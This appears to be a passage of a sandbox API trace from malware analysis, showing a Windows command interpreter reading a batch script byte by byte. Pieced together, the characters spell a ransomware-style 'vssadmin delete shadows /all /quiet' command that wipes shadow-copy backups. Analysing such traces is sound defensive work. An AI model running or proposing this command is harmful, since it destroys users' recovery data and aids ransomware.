hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xf4e00ff5d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff5d8*=0x18, lpOverlapped=0x0) returned 1 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] GetFileType (hFile=0x248) returned 0x3 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.105] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.105] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.105] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.105] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.105] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.105] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.105] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.105] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0127.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.105] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.105] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.105] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.106] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.106] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.106] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.106] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.106] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0127.106] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.106] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.106] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.107] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0127.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.107] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.107] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.108] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0127.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.109] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.110] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, lpWideCharStr=0x7ff65bc03c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65bbf9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf4e00ff938, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesRead=0xf4e00ff938*=0x1, lpOverlapped=0x0) returned 1 [0127.111] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=1, 